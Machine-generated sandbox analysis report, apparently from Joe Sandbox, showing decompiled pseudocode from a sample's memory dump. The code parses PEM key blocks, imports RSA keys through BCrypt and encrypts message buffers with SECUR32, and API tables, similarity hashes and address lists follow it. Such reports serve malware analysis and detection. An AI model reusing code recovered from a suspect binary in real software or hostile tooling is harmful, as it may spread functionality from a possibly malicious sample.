														 *(_t961 - 0x1c) =  *(_t961 - 0x1c) - _t897;
														_t898 = E00406561(__eflags, _t946,  *(_t961 - 0x1c), "KEY-----");
														__eflags = _t898;
														if(__eflags == 0) {
															goto L119;
														}
														 *((intOrPtr*)(_t961 + _t904 * 4 - 0x750)) = _t898 + 8;
														_t900 = E00406561(__eflags, _t946,  *(_t961 - 0x1c), "-----END");
														__eflags = _t900;
														if(_t900 == 0) {
															goto L119;
														}
														 *_t900 = 0;
														_t904 = _t904 + 1;
														__eflags = _t904;
														continue;
													}
													break;
												}
												while(1) {
													__eflags = _t904;
													if(__eflags <= 0) {
														break;
													}
													_t904 = _t904 - 1;
													_t761 = E004031BE(__eflags,  *((intOrPtr*)(_t961 - 8)),  *(_t961 - 4),  *((intOrPtr*)(_t961 - 0xc)),  *((intOrPtr*)(_t961 - 0x10)),  *((intOrPtr*)(_t961 + 0x10)),  *((intOrPtr*)(_t961 - 0x764)),  *((intOrPtr*)(_t961 - 0x6ec)),  *(_t961 - 0x714),  *(_t961 + _t904 * 4 - 0x738),  *(_t961 + _t904 * 4 - 0x744),  *((intOrPtr*)(_t961 - 0x6dc)),  *(_t961 + _t904 * 4 - 0x72c),  *(_t961 - 0x14), _t961 - 0x1e0, _t961 - 0x1dc, _t961 - 0x1d8, _t961 - 0x1d4, _t961 - 0x218);
													__eflags = _t761;
													if(_t761 <= 0) {
														L43:
														E00403515( *((intOrPtr*)(_t961 - 0x764)),  *(_t961 - 0x77c),  *((intOrPtr*)(_t961 + 0x10)),  *(_t961 - 0x14));
														_t217 = _t961 - 0x14;
														 *_t217 =  *(_t961 - 0x14) + 1;
														__eflags =  *_t217;
														continue;
													}
													_t797 = E004065B9(E00406259(_t961 - 0x63c, 0x400), 0x100);
													asm("stosb");
													asm("loop 0xfffffff5");
													 *((char*)(_t961 - 0x42a)) = 2;
													_push( *((intOrPtr*)(_t961 - 0x6e0)));
													L00406A0C();
													 *((intOrPtr*)(_t961 - 0x429)) = _t797;
													_t798 = E004061EA( *((intOrPtr*)(_t961 - 0x6f4)));
													 *((char*)(_t961 - 0x425)) = _t798;
													 *((char*)(_t961 - 0x424)) = _t798;
													CryptStringToBinaryA( *(_t961 - 0x6d4), 0, 1, 0, _t961 - 0x24, 0, 0);
													CryptStringToBinaryA( *(_t961 - 0x6d4), 0, 1, _t961 - 0x423, _t961 - 0x24, 0, 0);
													_t806 = E00403DE9(_t926, __eflags,  *((intOrPtr*)(_t961 - 0x6ec)),  *(_t961 - 0x714), _t961 - 0x423, _t961 - 0x40d);
													__eflags = _t806;
													if(_t806 == 0) {
														L117:
														_t580 = E00405FFB( *((intOrPtr*)(_t961 + 0x10)),  *((intOrPtr*)(_t961 + 0x14)),  *((intOrPtr*)(_t961 - 0x764)));
														 *(_t961 - 0x6a8) = 0;
														goto L118;
													}
													 *(_t961 - 0x40f) = _t806;
													 *(_t961 - 0x40e) = _t806;
													E004061D2(_t961 - 0x650, _t961 - 0x381, 0x14);
													 *((char*)(_t961 - 0x1c4)) = 7;
													 *((char*)(_t961 - 0x1c3)) = 2;
													 *((short*)(_t961 - 0x1c2)) = 0;
													 *((intOrPtr*)(_t961 - 0x1c0)) = 0xaa02;
													 *((intOrPtr*)(_t961 - 0x1bc)) = 0x32484400;
													 *(_t961 - 0x1b8) = 0x400;
													E004065B9(E004061D2(0x40841c, _t961 - 0x1b4, 0x80), 0x100);
													asm("stosb");
													asm("loop 0xfffffff5");
													E00406259(_t961 - 0x134, 0x80);
													 *((char*)(_t961 - 0x134)) = 2;
													E00403BB4( *(_t961 - 4), _t961 - 0x1c4, _t961 - 0x36d);
													_t952 = _t961 - 0x5b0;
													_t818 = 1;
													while(1) {
														_t818 = _t818;
														__eflags = _t818;
														if(_t818 == 0) {
															break;
														}
														asm("lodsb");
														__eflags = _t818 - 0x20;
														if(_t818 > 0x20) {
															asm("stosb");
														}
													}
													 *_t952 = 0;
													CryptStringToBinaryA(_t961 - 0x5b0, 0, 1, 0, _t961 - 0x20, 0, 0);
													CryptStringToBinaryA(_t961 - 0x5b0, 0, 1, _t961 - 0x63c, _t961 - 0x20, 0, 0);
													 *(_t961 - 0x24) = 0x94;
													E00406259(_t961 - 0x5b0, 0x94);
													_push(_t961 - 0x24);
													_push(_t961 - 0x5b0);
													_push(0);
													_push(0x8c);
													_push(_t961 - 0x63c);
													_push(0x13);
													_push(1);
													L00406AB4();
													 *((intOrPtr*)(_t961 - 0x51c)) = 0x31415352;
													 *(_t961 - 0x518) = 0x400;
													 *(_t961 - 0x514) = 4;
													 *((intOrPtr*)(_t961 - 0x510)) = 0x80;
													 *(_t961 - 0x50c) = 0;
													 *(_t961 - 0x508) = 0;
													asm("bswap eax");
													 *((intOrPtr*)(_t961 - 0x504)) =  *((intOrPtr*)(_t961 - 0x5a0));
													E0040618C(_t961 - 0x51d, _t961 - 0x500, 0x80);
													_push(0);
													_push(0x9c);
													_push(_t961 - 0x51c);
													_push(_t961 - 0x1c8);
													_push(L"RSAPUBLICBLOB");
													_push(0);
													_push( *((intOrPtr*)(_t961 - 0xc)));
													 *((intOrPtr*)(E00406788(__eflags, E00406698("bcrypt.dll"), "BCryptImportKeyPair")))();
													E00406259( *((intOrPtr*)(_t961 - 0x780)), 0x186a0);
													_t953 =  *((intOrPtr*)(_t961 - 0x780));
													 *_t953 = 0x80;
													 *((char*)(_t953 + 3)) =  *(_t961 - 0x14);
													 *((char*)(_t953 + 4)) = 3;
													 *((char*)(_t953 + 5)) = 0x22;
													 *((char*)(_t953 + 0xe)) = 0x18b;
													 *((char*)(_t953 + 0xf)) = 0x18b;
													E004030CA( *((intOrPtr*)(_t961 - 8)), _t961 - 0x63c, 0x8c, _t953 + 0x10, 0, 0xffffffff);
													 *((intOrPtr*)(_t961 - 0x75c)) = L"SHA1";
													 *(_t961 - 0x758) = 0;
													 *(_t961 - 0x754) = 0;
													_push(4);
													_push(_t961 - 0x2c);
													_push(0x80);
													_push(_t953 + 0x24);
													_push(0);
													_push(0);
													_push(_t961 - 0x75c);
													_push(0x56);
													_push(_t961 - 0x43a);
													_push( *((intOrPtr*)(_t961 - 0x1c8)));
													 *((intOrPtr*)(E00406788(__eflags, E00406698("bcrypt.dll"), "BCryptEncrypt")))();
													E0040605D(_t961 - 0x1c8, _t961 - 0x1c8, 0, 1);
													 *((intOrPtr*)(_t961 - 0x51c)) = 0x4d42444b;
													 *(_t961 - 0x518) = 1;
													 *(_t961 - 0x514) = 0x10;
													E004061D2(_t961 - 0x43a, _t961 - 0x510, 0x10);
													_push(0);
													_push(0x1c);
													_push(_t961 - 0x51c);
													_push(0);
													_push(0);
													_push(_t961 - 0x1c8);
													_push(L"KeyDataBlob");
													_push(0);
													_push( *((intOrPtr*)(_t961 - 0x10)));
													 *((intOrPtr*)(E00406788(__eflags, E00406698("bcrypt.dll"), "BCryptImportKey")))();
													E004061D2(_t961 - 0x3e4, _t953 + 0xa4, 0xf7);
													E00403554(__eflags,  *((intOrPtr*)(_t961 - 0x1c8)), _t953 + 0xa4, 0xf7, 0);
													E0040605D(_t961 - 0x1c8, _t961 - 0x1c8, 0, 1);
													E00403616( *((intOrPtr*)(_t961 - 8)),  *((intOrPtr*)(_t961 - 0x1e0)),  *((intOrPtr*)(_t961 - 0x1d8)), 0, _t953 + 5, 0,  *((intOrPtr*)(_t961 - 0x210)));
													E00404224(__eflags,  *((intOrPtr*)(_t961 - 0x764)),  *((intOrPtr*)(_t961 - 0x780)), 0x202, 0,  *((intOrPtr*)(_t961 + 0x10)));
													_t876 = E00404554( *((intOrPtr*)(_t961 - 0x764)),  *(_t961 - 0x77c), 0x404,  *((intOrPtr*)(_t961 + 0x10)), 0x64);
													_t954 =  *(_t961 - 0x77c);
													__eflags = _t876;
													if(_t876 != 0) {
														goto L117;
													}
													__eflags = _t954[4] - 3;
													if(__eflags != 0) {
														goto L119;
													}
													_t878 = E00403697(__eflags,  *((intOrPtr*)(_t961 - 8)),  *((intOrPtr*)(_t961 - 0x1dc)),  *((intOrPtr*)(_t961 - 0x1d4)), 0,  &(_t954[5]), 1,  *((intOrPtr*)(_t961 - 0x20c)));
													__eflags = _t878;
													if(_t878 == 0) {
														goto L117;
													}
													__eflags = _t954[5] - 0x28;
													if(__eflags != 0) {
														goto L119;
													}
													_t880 = E00403697(__eflags,  *((intOrPtr*)(_t961 - 8)),  *((intOrPtr*)(_t961 - 0x1fc)),  *((intOrPtr*)(_t961 - 0x1f4)), 0,  &(_t954[0x207]), 2,  *((intOrPtr*)(_t961 - 0x22c)));
													__eflags = _t880;
													if(_t880 == 0) {
														goto L117;
													}
													E0040618C( &(_t954[0x291]), _t961 - 0x134, 0x80);
													_t890 = E0040372E(__eflags,  *(_t961 - 4),  *((intOrPtr*)(_t961 - 8)),  *((intOrPtr*)(_t961 - 0x10)), _t961 - 0x1c4,  &(_t954[0x292]), _t961 - 0x1d0, _t961 - 0x1cc, _t961 - 0x208, _t961 - 0x204);
													__eflags = _t890;
													if(_t890 == 0) {
														goto L117;
													}
													_t904 = 0xffffffff;
													goto L43;
												}
												__eflags = _t904;
												if(_t904 >= 0) {
													break;
												}
												E00406259( *((intOrPtr*)(_t961 - 0x780)), 0x186a0);
												_t947 =  *((intOrPtr*)(_t961 - 0x780));
												 *_t947 = 0x80;
												 *((char*)(_t947 + 3)) = 1;
												 *((char*)(_t947 + 4)) = 3;
												 *((char*)(_t947 + 5)) = 1;
												 *((char*)(_t947 + 9)) =  *(_t961 - 0x18);
												 *((char*)(_t947 + 0xf)) = 0x12;
												E00406270(0x40807e, 0xa, _t961 - 0x6c8);
												E00406368(_t961 - 0x6c8, 0xa, _t947 + 0x10);
												 *((char*)(_t947 + 0x20)) = 0x3a;
												E00406270(0x408074, 0xffffffff, _t961 - 0x720);
												 *((intOrPtr*)(_t947 + 0xf)) =  *((intOrPtr*)(_t947 + 0xf)) + E00406492(__eflags, _t961 - 0x720);
												E004061D2(_t961 - 0x720, _t947 + 0x21, _t773);
												E00403616( *((intOrPtr*)(_t961 - 8)),  *((intOrPtr*)(_t961 - 0x200)),  *((intOrPtr*)(_t961 - 0x1f8)),  *((intOrPtr*)(_t961 - 0x1d0)), _t947 + 5, 1,  *((intOrPtr*)(_t961 - 0x208)));
												E00404224(__eflags,  *((intOrPtr*)(_t961 - 0x764)),  *((intOrPtr*)(_t961 - 0x780)), 0x202, 0,  *((intOrPtr*)(_t961 + 0x10)));
												_t780 = E00404554( *((intOrPtr*)(_t961 - 0x764)),  *(_t961 - 0x77c), 0x202,  *((intOrPtr*)(_t961 + 0x10)), 0x64);
												_t948 =  *(_t961 - 0x77c);
												__eflags = _t780;
												if(_t780 != 0) {
													goto L117;
												}
												__eflags = _t948[4] - 3;
												if(__eflags != 0) {
													goto L117;
												}
												_t782 = E00403697(__eflags,  *((intOrPtr*)(_t961 - 8)),  *((intOrPtr*)(_t961 - 0x1fc)),  *((intOrPtr*)(_t961 - 0x1f4)),  *((intOrPtr*)(_t961 - 0x1cc)),  &(_t948[5]), 3,  *((intOrPtr*)(_t961 - 0x204)));
												__eflags = _t782;
												if(_t782 == 0) {
													goto L117;
												}
												__eflags = _t948[5] - 4;
												if(_t948[5] == 4) {
													E004061D2(_t961 - 8,  *((intOrPtr*)(_t961 + 0x1c)), 4);
													E004061D2(_t961 - 0x200,  *((intOrPtr*)(_t961 + 0x20)), 0x10);
													E004061D2(_t961 - 0x1d0,  *((intOrPtr*)(_t961 + 0x20)) + 0x10, 8);
													E004061D2(_t961 - 0x208,  *((intOrPtr*)(_t961 + 0x24)), 8);
													E004061D2(_t961 - 0x18,  *((intOrPtr*)(_t961 + 0x28)), 4);
													 *(_t961 - 0x788) = 1;
												}
											}
											break;
										}
										__eflags =  *(_t961 - 0x714);
										if( *(_t961 - 0x714) == 0) {
											continue;
										}
										goto L12;
									}
									__eflags = _t580 - 0x1f;
									if(__eflags != 0) {
										continue;
									}
									goto L9;
								}
								__eflags = _t580 - 0x17;
								if(_t580 != 0x17) {
									continue;
								}
								goto L7;
							}
							__eflags = _t580 - 7;
							if(_t580 != 7) {
								continue;
							}
							goto L5;
						}
						__eflags = _t580 - 7;
						if(_t580 != 7) {
							continue;
						}
						goto L3;
					}
					L119:
					 *(_t961 - 0x24) = 0xc;
					if( *(_t961 - 0x788) != 1) {
						 *(_t961 - 0x24) = 0xe;
					}
					E0040609E(_t961 - 0x238, _t961 - 0x238, 0,  *(_t961 - 0x24));
					 *(_t961 - 0x24) = 8;
					 *(_t961 - 0x2c) = 4;
					if( *(_t961 - 0x788) != 1) {
						 *(_t961 - 0x24) = 0xe;
						 *(_t961 - 0x2c) = 0;
					}
					E0040605D(_t961 - 0x200, _t961 - 0x200,  *(_t961 - 0x2c),  *(_t961 - 0x24));
					CryptReleaseContext( *(_t961 - 4), 0);
					_t968 =  *(_t961 - 0x788) - 1;
					if( *(_t961 - 0x788) != 1) {
						_push(0);
						_push( *((intOrPtr*)(_t961 - 8)));
						 *((intOrPtr*)(E00406788(_t968, E00406698("bcrypt.dll"), "BCryptCloseAlgorithmProvider")))();
					}
					_push(0);
					_push( *((intOrPtr*)(_t961 - 0xc)));
					 *((intOrPtr*)(E00406788(_t968, E00406698("bcrypt.dll"), "BCryptCloseAlgorithmProvider")))();
					_push(0);
					_push( *((intOrPtr*)(_t961 - 0x10)));
					 *((intOrPtr*)(E00406788(_t968, E00406698("bcrypt.dll"), "BCryptCloseAlgorithmProvider")))();
					E004061D2(_t961 - 0x764,  *((intOrPtr*)(_t961 + 0x18)), 4);
					E00404681(_t961 - 0x23c);
					E00404681(_t961 - 0x784);
					E00404681(_t961 - 0x77c);
					E00404681(_t961 - 0x780);
					return  *(_t961 - 0x788);
				}
			}

0x00402677
0x00402677
0x00402677
0x00000000
0x0040269a
0x00401466
0x00401469
0x0040146e
0x00401475
0x00401480
0x00401480
0x00401487
0x00401492
0x00401492
0x00401499
0x004014a4
0x004014a4
0x004014ab
0x004014b6
0x004014dd
0x004014e2
0x004014e2
0x004014e4
0x00000000
0x00000000
0x004014ea
0x004014f1
0x00401500
0x00401500
0x00401507
0x00401dc6
0x00401dcd
0x00402311
0x00402318
0x0040248c
0x00402493
0x00402677
0x00402677
0x00402677
0x00000000
0x0040267d
0x00402677
0x004024b7
0x004024b9
0x00000000
0x00000000
0x004024d1
0x004024d6
0x004024ec
0x004024f1
0x004024f3
0x00000000
0x00000000
0x00402505
0x0040250a
0x0040250c
0x00000000
0x00000000
0x00402512
0x00402518
0x0040251f
0x00402526
0x00402539
0x00402544
0x00402545
0x00402547
0x00402549
0x0040254f
0x00402550
0x00402552
0x00402557
0x00402559
0x00000000
0x00000000
0x0040256f
0x00402574
0x00402576
0x00000000
0x00000000
0x0040257c
0x0040257f
0x00402585
0x00402587
0x00402587
0x00402587
0x00402590
0x00402595
0x0040259c
0x00000000
0x00000000
0x0040259e
0x004025a8
0x004025ad
0x004025b0
0x00000000
0x00000000
0x004025bb
0x004025c4
0x004025c7
0x00000000
0x00402672
0x004025db
0x004025fe
0x00402600
0x00402609
0x0040260b
0x0040260d
0x0040261e
0x00402623
0x00402629
0x0040263a
0x0040263f
0x00402645
0x0040264b
0x00402650
0x00402653
0x0040266b
0x00402677
0x00402677
0x00402677
0x00000000
0x0040267d
0x00402677
0x00000000
0x00402526
0x0040237c
0x00402381
0x00402383
0x00000000
0x00000000
0x00402394
0x00402399
0x0040239f
0x004023a2
0x004023a6
0x004023aa
0x004023ae
0x004023b2
0x004023cc
0x004023cc
0x004023cf
0x00000000
0x00000000
0x004023c3
0x004023cb
0x004023cb
0x004023cb
0x004023de
0x00402400
0x0040241b
0x00402436
0x0040243b
0x00402441
0x00402443
0x00000000
0x00000000
0x00402449
0x0040244d
0x00000000
0x00000000
0x00402470
0x00402475
0x00402477
0x00000000
0x00000000
0x0040247d
0x00402481
0x00000000
0x00000000
0x00402677
0x00402677
0x00402677
0x00000000
0x0040267d
0x00402677
0x00401dd3
0x00401dda
0x00401de1
0x004022fa
0x004022fa
0x004022fe
0x00000000
0x00000000
0x00401df0
0x00401e0d
0x00401e29
0x00401e3e
0x00401e50
0x00401e62
0x00401e67
0x00401f4d
0x00401f4d
0x00401f51
0x00000000
0x00000000
0x00401e78
0x00401e7d
0x00401eb3
0x00401eb8
0x00401ebf
0x00401ec1
0x00401f2b
0x00401f2b
0x00401f2f
0x00401f48
0x00401f31
0x00401f34
0x00401f39
0x00401f39
0x00000000
0x00401f2f
0x00401ed7
0x00401ef5
0x00401efa
0x00401f26
0x00401f26
0x00401f29
0x00000000
0x00000000
0x00401efe
0x00401f06
0x00401f0e
0x00000000
0x00401f24
0x00401f10
0x00401f18
0x00401f1a
0x00401f1a
0x00401f21
0x00401f21
0x00000000
0x00401f26
0x00401f57
0x004022ed
0x004022ed
0x004022f1
0x00000000
0x00000000
0x00401f6c
0x00401f71
0x00401f72
0x00401f96
0x00401f98
0x00000000
0x00000000
0x00402002
0x00402004
0x004022b4
0x004022c6
0x004022cb
0x004022ce
0x004022d1
0x004022e4
0x004022e9
0x004022eb
0x00402309
0x00000000
0x00402309
0x00000000
0x004022eb
0x00402015
0x0040201a
0x00402020
0x00402026
0x00402029
0x0040202d
0x00402034
0x00402054
0x0040206f
0x0040208a
0x0040208f
0x00402095
0x00402097
0x00000000
0x00000000
0x0040209d
0x004020a1
0x00000000
0x00000000
0x004020c4
0x004020c9
0x004020cb
0x00000000
0x00000000
0x004020d1
0x004020d5
0x00000000
0x00000000
0x004020e6
0x004020eb
0x004020f1
0x004020f7
0x004020fa
0x004020fe
0x00402105
0x0040211e
0x00402123
0x00402126
0x00402126
0x00402128
0x00402148
0x00402163
0x00402168
0x0040216f
0x00402176
0x0040217d
0x00402183
0x00402194
0x00402199
0x004021ac
0x004021b7
0x004021b8
0x004021ba
0x004021bc
0x004021c2
0x004021c3
0x004021c5
0x004021ca
0x004021cc
0x00000000
0x00000000
0x004021d2
0x004021d4
0x00000000
0x00000000
0x004021ea
0x004021ef
0x004021f1
0x00000000
0x00000000
0x004021fd
0x00402200
0x00402203
0x0040220a
0x00000000
0x00000000
0x00402218
0x00402224
0x00402229
0x00402233
0x00402235
0x00402235
0x00402237
0x00000000
0x00000000
0x0040223d
0x004022a9
0x004022a9
0x004022ad
0x00000000
0x00000000
0x0040224a
0x0040224c
0x004022a0
0x004022a0
0x004022a6
0x004022a6
0x004022a6
0x00000000
0x004022a6
0x0040226c
0x00402271
0x00402273
0x00000000
0x00000000
0x00402279
0x0040227f
0x00000000
0x00000000
0x00402281
0x00402287
0x00000000
0x00000000
0x0040228d
0x00402296
0x0040229b
0x0040229d
0x0040229d
0x0040229d
0x00000000
0x0040229d
0x004022af
0x00000000
0x00402199
0x004022f7
0x004022f7
0x004022f7
0x004022f7
0x0040150d
0x00401522
0x00401525
0x00401528
0x0040153b
0x0040153b
0x0040153f
0x00000000
0x00000000
0x00401532
0x00401533
0x00401535
0x00401537
0x00401537
0x00401538
0x00401538
0x00401538
0x00401538
0x00401541
0x00401558
0x00401567
0x0040156c
0x0040156e
0x00000000
0x00000000
0x0040158c
0x00401591
0x00401597
0x0040164d
0x0040164d
0x00401650
0x00000000
0x00000000
0x00401652
0x00401656
0x004015ac
0x004015ac
0x004015ae
0x00000000
0x00000000
0x004015b4
0x004015c4
0x004015c9
0x004015cb
0x00000000
0x00000000
0x004015d1
0x004015e1
0x004015e6
0x004015e8
0x00000000
0x00000000
0x004015ee
0x004015fe
0x00401603
0x00401605
0x00000000
0x00000000
0x0040160c
0x0040160e
0x00401610
0x0040161c
0x00401621
0x00401623
0x00000000
0x00000000
0x0040162c
0x0040163c
0x00401641
0x00401643
0x00000000
0x00000000
0x00401649
0x0040164c
0x0040164c
0x00000000
0x0040164c
0x00000000
0x00401656
0x00401c17
0x00401c17
0x00401c1a
0x00000000
0x00000000
0x00401661
0x004016c4
0x004016c9
0x004016cb
0x00401bfd
0x00401c0f
0x00401c14
0x00401c14
0x00401c14
0x00000000
0x00401c14
0x004016f2
0x004016f7
0x004016f8
0x004016fa
0x00401701
0x00401707
0x0040170c
0x00401718
0x0040171d
0x00401723
0x0040173d
0x0040175b
0x0040177a
0x0040177f
0x00401781
0x0040267f
0x0040268b
0x00402690
0x00000000
0x00402690
0x00401787
0x0040178d
0x004017a3
0x004017a8
0x004017af
0x004017b6
0x004017bf
0x004017c9
0x004017d3
0x00401803
0x00401808
0x00401809
0x00401817
0x0040181c
0x00401834
0x00401840
0x00401846
0x00401850
0x00401850
0x00401850
0x00401852
0x00000000
0x00000000
0x0040184a
0x0040184b
0x0040184d
0x0040184f
0x0040184f
0x0040184d
0x00401854
0x0040186c
0x0040188b
0x00401890
0x004018a3
0x004018ab
0x004018b2
0x004018b3
0x004018b5
0x004018c0
0x004018c1
0x004018c3
0x004018c5
0x004018ca
0x004018d4
0x004018de
0x004018e8
0x004018f2
0x004018fc
0x0040190c
0x0040190e
0x00401927
0x0040192c
0x0040192e
0x00401939
0x00401940
0x00401947
0x00401948
0x0040194a
0x00401962
0x0040196f
0x00401974
0x0040197a
0x00401980
0x00401983
0x00401987
0x00401990
0x00401993
0x004019ad
0x004019b8
0x004019be
0x004019c8
0x004019d2
0x004019d7
0x004019d8
0x004019e0
0x004019e1
0x004019e3
0x004019eb
0x004019ec
0x004019f4
0x004019f5
0x00401a10
0x00401a1d
0x00401a22
0x00401a2c
0x00401a36
0x00401a50
0x00401a55
0x00401a57
0x00401a5f
0x00401a60
0x00401a62
0x00401a6a
0x00401a71
0x00401a72
0x00401a74
0x00401a8c
0x00401aa1
0x00401aba
0x00401aca
0x00401aec
0x00401b07
0x00401b22
0x00401b27
0x00401b2d
0x00401b2f
0x00000000
0x00000000
0x00401b35
0x00401b39
0x00000000
0x00000000
0x00401b5c
0x00401b61
0x00401b63
0x00000000
0x00000000
0x00401b69
0x00401b6d
0x00000000
0x00000000
0x00401b93
0x00401b98
0x00401b9a
0x00000000
0x00000000
0x00401bb3
0x00401beb
0x00401bf0
0x00401bf2
0x00000000
0x00000000
0x00401bf8
0x00000000
0x00401bf8
0x00401c20
0x00401c22
0x00000000
0x00000000
0x00401c33
0x00401c38
0x00401c3e
0x00401c41
0x00401c45
0x00401c49
0x00401c50
0x00401c53
0x00401c65
0x00401c77
0x00401c7c
0x00401c8e
0x00401c9f
0x00401cae
0x00401cd4
0x00401cef
0x00401d0a
0x00401d0f
0x00401d15
0x00401d17
0x00000000
0x00000000
0x00401d1d
0x00401d21
0x00000000
0x00000000
0x00401d48
0x00401d4d
0x00401d4f
0x00000000
0x00000000
0x00401d55
0x00401d59
0x00401d68
0x00401d7c
0x00401d8e
0x00401d9f
0x00401dad
0x00401db2
0x00401db2
0x00401d59
0x00000000
0x00401507
0x004014f3
0x004014fa
0x00000000
0x00000000
0x00000000
0x004014fa
0x004014ad
0x004014b0
0x00000000
0x00000000
0x00000000
0x004014b0
0x0040149b
0x0040149e
0x00000000
0x00000000
0x00000000
0x0040149e
0x00401489
0x0040148c
0x00000000
0x00000000
0x00000000
0x0040148c
0x00401477
0x0040147a
0x00000000
0x00000000
0x00000000
0x0040147a
0x004026a7
0x004026a7
0x004026b5
0x004026b7
0x004026b7
0x004026ca
0x004026cf
0x004026d6
0x004026e4
0x004026e6
0x004026ed
0x004026ed
0x00402701
0x0040270b
0x00402710
0x00402717
0x00402719
0x0040271b
0x00402733
0x00402733
0x00402735
0x00402737
0x0040274f
0x00402751
0x00402753
0x0040276b
0x00402779
0x00402785
0x00402791
0x0040279d
0x004027a9
0x004027b8
0x004027b8

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00401558
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 0040158C
CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,00000000,?), ref: 0040270B

Strings

BCryptCloseAlgorithmProvider, xrefs: 00402728, 00402744, 00402760
bcrypt.dll, xrefs: 0040271E, 0040273A, 00402756

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: Crypt$BinaryString$ContextRelease
String ID: BCryptCloseAlgorithmProvider$bcrypt.dll
API String ID: 1374739491-1199799005
Opcode ID: 8591abb3ecadd83ac1f226f4c6231a013c7524e1cdf5623020778fc5a744ab7e
Instruction ID: 31189be89cb874e46f513b9156a36f8142918e998cd3954bc8b6009c3e99f646
Opcode Fuzzy Hash: 8591abb3ecadd83ac1f226f4c6231a013c7524e1cdf5623020778fc5a744ab7e
Instruction Fuzzy Hash: 8C214F70D40218AADF21ABE48D0ABCD73B8AB45708F5048AAF609720C1DA7E5A548F29

Uniqueness

Uniqueness Score: -1.00%

Function 00404224 Relevance: 4.6, APIs: 3, Instructions: 102
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00404224(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, void* _a16, intOrPtr _a20) {
				char _v16;
				char _v20;
				char _v24;
				void* _v28;
				char* _v32;
				long _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				char _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v80;
				intOrPtr _v84;
				char _v88;
				char _v92;
				void* _t53;
				void* _t58;
				intOrPtr _t80;
				void* _t86;

				_t53 = E00406259( &_v92,  &_v16 - _t86);
				while(_a12 > 0) {
					_push( &_v24);
					_push(4);
					_push(_a20);
					L00406AAE();
					_t53 = VirtualAlloc(0, _v24 + _v16 + _v20, 0x3000, 4);
					if(_t53 != 0) {
						_v28 = _t53;
						_t58 = _t53 + _v24;
						_t80 = _a12;
						if(_v16 <= _t80) {
							_t80 = _v16;
						}
						_v92 = _v92 + _t80;
						_a12 = _a12 - _t80;
						E004061D2(_a8 + _v92, _t58, _t80);
						E004061D2( &_v24,  &_v88, 4);
						_v84 = 7;
						E004061D2( &_v28,  &_v80, 4);
						_v76 = _t80;
						_v72 = 1;
						_v68 = _v28 + _v24;
						E004061D2( &_v20,  &_v64, 4);
						_v60 = 6;
						_v56 = _v28 + _v24 + _t80;
						_v52 = 0;
						_v48 = 0;
						_v44 = 0;
						_v32 =  &_v88;
						_v40 = 0;
						_v36 = 4;
						_push(0);
						_push( &_v40);
						_push(0);
						_push(_a20);
						L00406A84();
						E00405E81(_a4, _v28, _v88 + _v76 + _v64, _a16);
						_t53 = E00404681( &_v28);
						continue;
					}
					break;
				}
				return _t53;
			}

0x00404238
0x00404348
0x00404245
0x00404246
0x00404248
0x0040424b
0x00404263
0x0040426a
0x00404270
0x00404273
0x00404276
0x0040427c
0x0040427e
0x0040427e
0x00404287
0x0040428a
0x00404290
0x0040429f
0x004042a4
0x004042b5
0x004042ba
0x004042bd
0x004042ca
0x004042d7
0x004042dc
0x004042eb
0x004042ee
0x004042f5
0x004042fc
0x00404306
0x00404309
0x00404310
0x00404317
0x0040431c
0x0040431d
0x0040431f
0x00404322
0x0040433a
0x00404343
0x00000000
0x00404343
0x00000000
0x0040426a
0x00404356

APIs

QueryContextAttributesA.SECUR32(?,00000004,?,?,?,?,?,?), ref: 0040424B
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,00000004,?,?,?,?,?,?), ref: 00404263
EncryptMessage.SECUR32(?,00000000,?,00000000,?,?,00000004,?,?,00000004,?,?,00000004,?,?,?), ref: 00404322

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: AllocAttributesContextEncryptMessageQueryVirtual
String ID:
API String ID: 2600646408-0
Opcode ID: 24e933c5522e045bb1caa654d8c18fe6e22fcd8d17d2b23cb9be742630cc3813
Instruction ID: 20b95c9a18c18732aa9a6186bd21003c4812121d894bb9045ca6f44c47b83b47
Opcode Fuzzy Hash: 24e933c5522e045bb1caa654d8c18fe6e22fcd8d17d2b23cb9be742630cc3813
Instruction Fuzzy Hash: 7041BCB1D0020DABDF04DFD5C845BEEB7B9EF44308F14412AE611B6281D7789A55CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00403BB4 Relevance: 4.5, APIs: 3, Instructions: 44
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00403BB4(long* _a4, BYTE* _a8, intOrPtr _a12) {
				long* _v8;
				char _v12;
				char _v16;
				char _v125;
				char _v268;
				char* _t18;
				void* _t22;
				void* _t25;

				E00406259( &_v268,  &_v16 - _t25);
				CryptImportKey(_a4, _a8, 0x190, 0, 1,  &_v8);
				_v12 = 0x90;
				_push( &_v12);
				_t18 =  &_v268;
				_push(_t18);
				_push(0);
				_push(6);
				_push(0);
				_push(_v8);
				L004069CA();
				E0040618C( &_v125, _a12, 0x80);
				CryptDestroyKey(_v8);
				_t22 = _t18;
				return _t22;
			}

0x00403bcb
0x00403be3
0x00403be8
0x00403bf2
0x00403bf3
0x00403bf9
0x00403bfa
0x00403bfc
0x00403bfe
0x00403c00
0x00403c03
0x00403c15
0x00403c1d
0x00403c22
0x00403c27

APIs

CryptImportKey.ADVAPI32(?,?,00000190,00000000,00000001,?,?,?,00408566,?), ref: 00403BE3
CryptExportKey.ADVAPI32(?,00000000,00000006,00000000,?,?,?,?,00000190,00000000,00000001,?,?,?,00408566,?), ref: 00403C03
